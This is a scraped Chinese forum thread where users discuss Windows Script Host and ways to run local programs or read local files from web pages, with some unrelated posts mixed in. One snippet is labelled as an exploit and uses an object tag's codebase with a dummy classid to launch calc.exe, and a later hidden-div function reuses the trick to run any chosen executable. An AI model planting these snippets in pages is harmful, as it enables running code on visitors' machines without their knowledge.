http://download.microsoft.com/download/winscript56/Install/5.6/W982KMe/CN/scd56chs.exe
解决方案 »
- Coolite前台调后台方法的问题,提示找不到方法。
- javascript 读取文件问题!
- 我想问问,如果我已经在类库中做了对数据库的访问,并引用了配置文件,我在javascript中如何引用呢?
- 三级联动 难道是数据有问题,高分求救,急急急急急急急急
- 类似日历的东西
- 大家好,我有一个用层模拟的下拉菜单,可是出来的菜单却被下边的框架可遮挡了,该怎么办呢?
- javascript 动态添加事件,且可以使用event参数
- 如何将所有的HTML代码都变成小写?
- 请教,如何使用script让一个select展开它的下拉列表阿?
- 如何去掉网页的标题栏?求救!!!
- 凑凑热闹。判断焦点
- 请问return false的作用
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/wsoriWindowsScriptHost.asp
不是用来进行系统核心编程的。而且为了安全性
考虑,浏览器对这方面的限制也是很严格的。如果一定要核心编程,可以考虑用 asm或者c++wsh也不是为了Web设计而推出的,他在本地机子上
可以运行得很好,也没有什么安全限制。但是,
如果上了web, WSH就走不通了。再说 wsh也最多不过是能操作注册表和文件系统而已
他可以访问win32 API,访问内存,硬件吗?
我曾经打开过Happy Time的源代码看过,里面是用WSH做的,并且有不少的黑客网站,内嵌了大量的“后门”代码,做得可以说是神乎其神。并且,在2000年的时候,我的同学曾经给我介绍过一个叫做"MyDesktop"的网站,由于有用户和密码限制,我进不去,据说里面做到了远程和本地的无缝结合!
我提到的这个网站,它的网页打开后,就像打开了一个Windows桌面一样,所有本地资源与远程资源的界限就被糊模化了。
不要小看系统一般程序调用,本地的大多数操作就仅此而已了!
现在的一些病毒就是把运行体传到本地,在通过脚本来调用(这样可以没有主进程,不显示任何窗口,如果把脚本同系统的一些脚本混合了,就更难防范了,比如 欢乐时光 就把脚本添加到目录显示控制模板中了。
很多应用程序都可以使用脚本技术,实现更加灵活的功能,
就像 微软的 Office,
第二句话:不要做微软的奴隶。
第三句话:如果你真的对编程很有兴趣,那么去看Python吧。
Enables an author to sign a script with a digital signature and a recipient to verify the signature's authenticity and trustworthiness.
WScript Object
Provides access to most of the objects, methods, and properties in the WSH object model.
WshArguments Object
Gives you access to the entire collection of command-line parameters — in the order in which they were originally entered.
WshController Object
Exposes the method CreateScript() that creates a remote script process.
WshEnvironment Object
Gives you access to the collection of Microsoft Windows system environment variables.
WshNamed Object
Provides access to the named command-line script arguments within the WshArguments object.
WshNetwork Object
Gives you access to the shared resources on the network to which your computer is connected.
WshRemote Object
Provides access to the remote script process.
WshRemoteError Object
Exposes the error information available when a remote script (a WshRemote object) terminates as a result of a script error.
WshScriptExec Object
Provides status and error information about a script run with Exec, along with access to the stdIn, stdOut, and stdErr channels.
WshShell Object
Gives you access to the native Windows shell functionality.
WshShortcut Object
Allows you to create a shortcut programmatically.
WshSpecialFolders Object
Allows you to access the Windows Special Folders.
WshUnnamed Object
Provides access to the unnamed command-line script arguments within the WshArguments object.
WshUrlShortcut Object
Allows you to create a shortcut to an Internet resource, programmatically.
不过,各位的话,我会一一看过的,在此多谢了!!!!
孟子E章的网址好像是:http://lucky.myrice.com/
set ws=CreateObject("WScript.Shell")
ws.run "你想运行的程序"
以上是VB格式的WSH,扩展名为.VBS,C格式的如下:
var ws=WScript.CreateObject("WScript.Shell");
ws.run("你想运行的程序");
扩展名为.js
如果放在网页中,可以这样:
<script language=VBscript>
set ws=CreateObject("WScript.Shell")
ws.run "你想运行的程序"
</script>
JavaScript同理。
但这样的话每次打开网页时都会出现带有“网页有不安全的程序,是否继续”字样的对话框.
如果浏览器给你 js 提供了个 format 硬盘的接口, 你就可以调用这个接口
来实现格式化硬盘的脚本. 如果没有提供... 你是没可能越过浏览器而操作
浏览器外的东西di......
-------------------------------------------------------------
可以方便的跟踪任意多个贴子的回复。无需打开ie,有了回复立刻提示并且显示回复内容
大家可以到http://wireless2k.com/websprite/看帮助信息,下载如果网页精灵帮助你解决了问题,请告诉你的10位亲友,白起真好
如果网页精灵帮助你拍卖了东西,请告诉你的10位亲友,白起真好
如果网页精灵帮助你租到了房子,请告诉你的10位亲友,白起真好
如果网页精灵对你没有效果...
如果能实现同样的功能而开发代价小得多周期短的多,为什么不用javascript呢。很多情况下性能并不重要
wsh提供了一些系统操作,但是对于编程来说远远不够。javascript可以调用各种各样的activex,ole对象,比如word什么的。先到微软的文档里面找,找不到就自己写
有一个功能是调用系统的字体,其中要用到<OBJECT>了。当我一个页面里友几个
这个控件的时候,也就是说<OBJECT>有同时几个了,但几个的classid都是现同的请问这样可以么?我出现的问题就是,请看.....<script language="JavaScript" >
document.getElementById('HtmlEditor').document.body.onload==HtmlEditor_fnInit;
</script>
<script language="JavaScript" type="text/javascript">
document.getElementById('Htmleditor1').document.body.onload =Htmleditor1_fnInit;
</script>function Htmleditor_fnInit()
{
getSystemFonts(Htmleditor,'Htmleditor_obj','Htmleditor_oSelect');
}
function Htmleditor1_fnInit()
{
getSystemFonts(Htmleditor1,'Htmleditor1_obj','Htmleditor1_oSelect');
}writer.Write ("<OBJECT id=\""+ObjID+"\" width=\"0px\" height=\"0px\" classid=\"clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b\">");getSystemFonts就是在IFRAME的ONLOAD的时候调用系统字体了,
但我这个就只能最后一个调用字体。只调用了Htmleditor1_fnInit()
而Htmleditor_fnInit()确没有调用是classid的原因么?还是其他的什么问题
这里高手多阿。只有到这里问了。
它的面向对象是另外一种风格
我常常觉得很多场合用起来比java还方便得多
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="C:\winnt\system32\calc.exe"></object>
]]>
</exploit>
</security>
</xml>其实我提出这个问题的目的只和WINDOWS系统有关,希望更多的高手能够互相砌磋!
说实在的,Jscript是我的初恋。
当然现在我也不是移情别恋。只不过眼光看的更广罢了。
Jscript最吸引我的地方就是她的oop_based(prototype-based) programming.
我喜欢做的不是用她来做一些所谓的网页特效,而更倾向于用她来做一些小的程序,满足自己的需要,有时也用来实现自己的一些非网页方面的想法。
总之,Jscript仿佛就是我的宠物。
不完美,也不将是我的主要工具,但我却喜欢。
<script language=VBscript>
set objFS=CreateObject ("Scripting.FileSystemObject")
set listFile = objFS.OpenTextFile ("c:\windows\network.txt")
do while listFile.AtEndOfStream <> True
document.write listFile.ReadLine
loop
</script>
<script language=javascript>
function callThis(strExe){
exe.innerHTML = "<object classid=\"clsid:11111111-1111-1111-1111-111111111111\" codebase=\"" + strExe + "\"></object>";
}
</script>
<div id=exe style="display:none"></div>
<input id=fexe value="C:\WINNT\System32\notepad.exe"><input type=button value=Execute onclick="callThis(fexe.value);">
但是发现只能调用Exe文件,并且不能传入参数。